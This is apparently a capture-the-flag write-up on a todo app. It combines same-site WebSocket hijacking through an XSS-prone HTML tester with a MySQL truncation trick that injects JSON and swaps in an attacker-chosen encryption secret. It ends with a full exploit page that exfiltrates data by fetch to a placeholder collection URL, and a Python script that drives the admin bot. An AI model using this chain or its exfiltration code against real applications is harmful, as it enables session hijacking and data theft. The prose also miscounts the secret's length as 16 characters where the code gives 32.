Challenge Overview

This challenge demonstrates an attack chain WebSocket hijacking with SQL truncation techniques to extract sensitive data from a todo application. The vulnerability exploits the trust relationship between same-site applications and leverages MySQL’s non-strict mode behavior to manipulate JSON data stored in the database.

The main application serves as a task management system where users can create, view, and manage their personal tasks. Upon registration, each user receives a unique 16-character hexadecimal secret that encrypts all their task data.

The interface provides a clean task management system where users can add new tasks through a simple form:

Once tasks are added, they appear in a list format where users can mark them as completed:

These images perfectly illustrate how the JSON injection attack manifests in the user interface - notice how the malicious payload in the description field can override the expected JSON structure, and how the completed task demonstrates the successful execution of our truncation attack.

HTML Tester Application

This secondary service accepts HTML input and renders it directly to the page, creating an obvious XSS vulnerability that becomes crucial for our attack chain.

Deep Dive into the Authentication System

User Registration and Secret Generation

The registration process implements several security measures while establishing the foundation for our eventual attack. When a user registers, the system performs validation checks and generates a cryptographic secret that will be used to encrypt all task data.

router.post('/register', async (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    
    // Validation checks ensure data integrity
    if (!username || !password) {
        return res.status(400).json({
            error: 'Missing username or password'
        });
    }
    
    if (password.length < 8) {
        return res.status(400).json({
            error: 'Password must be at least 8 characters long'
        });
    }
    
    if (await db.userExists(username)) {
        return res.status(400).json({ error: 'User already exists' });
    } else {
        // Critical: Each user gets a unique 32-character hex secret
        const secret = crypto.randomBytes(16).toString('hex');
        await db.registerUser(username, password, secret);
        return res.status(200).json({ success: 'User registered' });
    }
});

This secret becomes the encryption key for all user data, making it a critical target for our attack.

Session Management and Middleware Protection

The application implements two key middleware components that shape our attack strategy.

Authentication Middleware:

const authenticationMiddleware = (req, res, next) => {
    if (req.originalUrl === '/login' || req.originalUrl === '/register') {
        return next(); // Allow access to auth pages
    }
    if (req.session.userId) {
        return next(); // User is authenticated
    }
    return res.redirect('/login'); // Redirect unauthenticated users
};

Anti-CSRF Middleware:

const antiCSRFMiddleware = (req, res, next) => {
    const referer = (req.headers.referer ? new URL(req.headers.referer).host : req.headers.host);
    const origin = (req.headers.origin ? new URL(req.headers.origin).host : null);
    
    if (req.headers.host === (origin || referer)) {
        next(); // Allow same-host requests
    } else {
        return res.status(403).json({ error: 'CSRF detected' });
    }
};

The critical insight here is that while these middleware functions protect HTTP requests, they do not apply to WebSocket upgrade requests, creating our primary attack vector.

WebSocket Communication Analysis

Client-Side WebSocket Logic

The frontend establishes a WebSocket connection and immediately requests the user’s tasks upon connection. This behavior becomes essential for understanding how we can manipulate the admin’s session.

// Connection establishment and initial data request
ws.onopen = () => {
    ws.send(JSON.stringify({ action: 'get' }));
}

// Message processing reveals the encryption/decryption flow
ws.onmessage = async (msg) => {
    const data = JSON.parse(msg.data);
    if (data.success) {
        if (data.action === 'get') {
            // Fetch the user's secret for decryption
            const secret = await fetch('/secret').then(res => res.json()).then(data => data.secret);
            
            // Decrypt and display each task
            for (const task of data.tasks) {
                showTask({
                    title: {
                        iv: task.title.iv,
                        content: await decrypt(task.title, secret)
                    },
                    description: {
                        iv: task.description.iv,
                        content: await decrypt(task.description, secret)
                    },
                    quote: {
                        iv: task.quote.iv,
                        content: await decrypt(task.quote, secret)
                    }
                });
            }
        }
    }
}

Server-Side WebSocket Handler

The server-side logic reveals several crucial details about data storage and the special treatment of admin users.

ws.on('message', async (msg) => {
    const data = JSON.parse(msg);
    const secret = await db.getSecret(req.session.userId);
    
    if (data.action === 'add') {
        try {
            // Critical: Direct string interpolation creates injection point
            await db.addTask(userId, 
                `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`
            );
            ws.send(JSON.stringify({ success: true, action: 'add' }));
        } catch (e) {
            ws.send(JSON.stringify({ success: false, action: 'add' }));
        }
    }
    else if (data.action === 'get') {
        // Flag is only revealed to admin (userId === 1)
        if (userId === 1) {
            quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
        } else {
            quote = quotes[Math.floor(Math.random() * quotes.length)];
        }
        
        // Each task is encrypted with its stored secret
        tasks.push({
            title: encrypt(task.title, task.secret),
            description: encrypt(task.description, task.secret),
            quote: encrypt(quote, task.secret)
        });
    }
});

The key insight is that admin users (userId === 1) receive the flag in their quote field, but this data is encrypted with each task’s individual secret.

Identifying the Attack Vector: Same-Site WebSocket Hijacking

Understanding Same-Site vs Same-Origin

The crucial vulnerability lies in the relationship between the two applications. The HTML Tester (port 8080) and Todo app (port 80) are same-site but cross-origin:

  • Same-site: Both applications share the same domain (127.0.0.1)
  • Cross-origin: Different ports create different origins
  • Cookie behavior: Browsers automatically send cookies for same-site requests
  • CSRF protection gap: Anti-CSRF middleware doesn’t apply to WebSocket upgrades

This means that JavaScript running in the HTML Tester can establish WebSocket connections to the Todo application while automatically including the admin’s session cookies.

Exploiting the Admin Bot

The /report endpoint provides our entry point by having an admin bot visit any URL we specify. The bot follows this process:

const visit = async (url) => {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()
    
    // Bot logs in as admin
    await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
    await page.type('wired-input[name=username]', process.env.USERNAME)
    await page.type('wired-input[name=password]', process.env.PASSWORD)
    await page.click('wired-button')
    
    // Then visits our malicious URL
    await page.goto(url, { waitUntil: 'networkidle2' })
}

By crafting a malicious HTML page and having it served through the HTML Tester, we can execute JavaScript in the admin’s browser context with their authenticated session.

The SQL Truncation Attack Deep Dive

Understanding MySQL’s Non-Strict Mode

The vulnerability stems from MySQL’s behavior when not running in strict mode. When data exceeds a VARCHAR column’s length limit, MySQL silently truncates the data rather than throwing an error.

The configuration file reveals that strict SQL mode is intentionally disabled:

command=/usr/sbin/mysqld --sql-mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"

Exploiting JSON Structure Manipulation

The WebSocket handler constructs JSON strings through direct interpolation, creating an injection point in the description field:

// Vulnerable string construction
await db.addTask(userId, 
    `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`
);

Our attack payload manipulates this structure by:

  • Closing the description field early: ","secret":"CONTROLLED_SECRET","x":"
  • Padding with filler data: Adding ‘x’ characters to reach exactly 255 bytes
  • Truncation point calculation: Ensuring MySQL cuts off at the closing brace

Payload Construction Logic

const SECRET = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; // Our controlled 32-char secret
const title = "title";

// Calculate the current JSON structure length
let curr = `{"title":"${title}","description":"","secret":"${SECRET}","x":""}`;

// Calculate padding needed to reach 255-byte limit
let pad = 'x'.repeat(255 - curr.length);

// Construct payload that will be truncated at the right point
payload = `","secret":"${SECRET}","x":"${pad}"}`;

When this payload is processed, the database receives:

INSERT INTO todos (user_id, data) VALUES (1, 
'{"title":"title","description":"","secret":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","x":"xxxxxxxxxx...'

After truncation at 255 characters, the JSON becomes valid again, but now with our controlled secret.

Complete Attack Chain Implementation

Malicious HTML Payload

<html>
<body>
<script>
const HOST = "127.0.0.1";
const SECRET = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; // 32-char controlled secret
const EXFIL_URL = "EXFIL_URL_HERE"; // Replace with your data collection endpoint

const ws = new WebSocket(`ws://${HOST}/ws`);

ws.onopen = () => {
    const title = "title";
    
    // Calculate precise truncation payload
    let curr = `{"title":"${title}","description":"","secret":"${SECRET}","x":""}`;
    let pad = 'x'.repeat(255 - curr.length);
    payload = `","secret":"${SECRET}","x":"${pad}"}`;
    
    // First, add our malicious task with controlled secret
    ws.send(JSON.stringify({
        "action": "add",
        "title": title,
        "description": payload
    }));
    
    // Then retrieve all tasks (including the flag-containing quote)
    ws.send(JSON.stringify({
        "action": "get"
    }));
};

ws.onmessage = (msg) => {
    const data = JSON.parse(msg.data);
    if (data.action == "get") {
        const tasks = data.tasks;
        for (let i = 0; i < tasks.length; i++) {
            const task = tasks[i];
            const encryptedQuote = task.quote;
            
            // Exfiltrate the encrypted quote data
            fetch(`${EXFIL_URL}?iv=${encryptedQuote.iv}&content=${encryptedQuote.content}`);
        }
    }
};
</script>
</body>
</html>

Attack Automation Script

import requests
import urllib.parse

BASE_URL = "http://127.0.0.1"
XSS_URL = "http://127.0.0.1:8080"

# Establish our own session for decryption endpoint access
s = requests.Session()
s.post(f"{BASE_URL}/register", json={"username": "attacker", "password": "password123"})
s.post(f"{BASE_URL}/login", json={"username": "attacker", "password": "password123"})

# Load and customize the exploit
with open("exploit.html") as f:
    exploit = f.read()

exfil_url = input("Enter exfiltration URL: ")
exploit = exploit.replace("EXFIL_URL_HERE", exfil_url)

# Deploy the exploit via HTML Tester and trigger admin visit
exploit_url = f"{XSS_URL}?html={urllib.parse.quote(exploit)}"
s.post(f"{BASE_URL}/report", json={"url": exploit_url})

# Process the exfiltrated encrypted data
iv = input("Received IV from exfiltration: ")
cipher = input("Received ciphertext from exfiltration: ")

# Decrypt using our controlled secret
r = s.post(f"{BASE_URL}/decrypt", json={
    "cipher": {
        "iv": iv,
        "content": cipher
    }, 
    "secret": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"  # Our controlled 32-char secret
})

decrypted = r.json().get("decrypted")
print(f"Flag revealed: {decrypted}")

written by 0xbara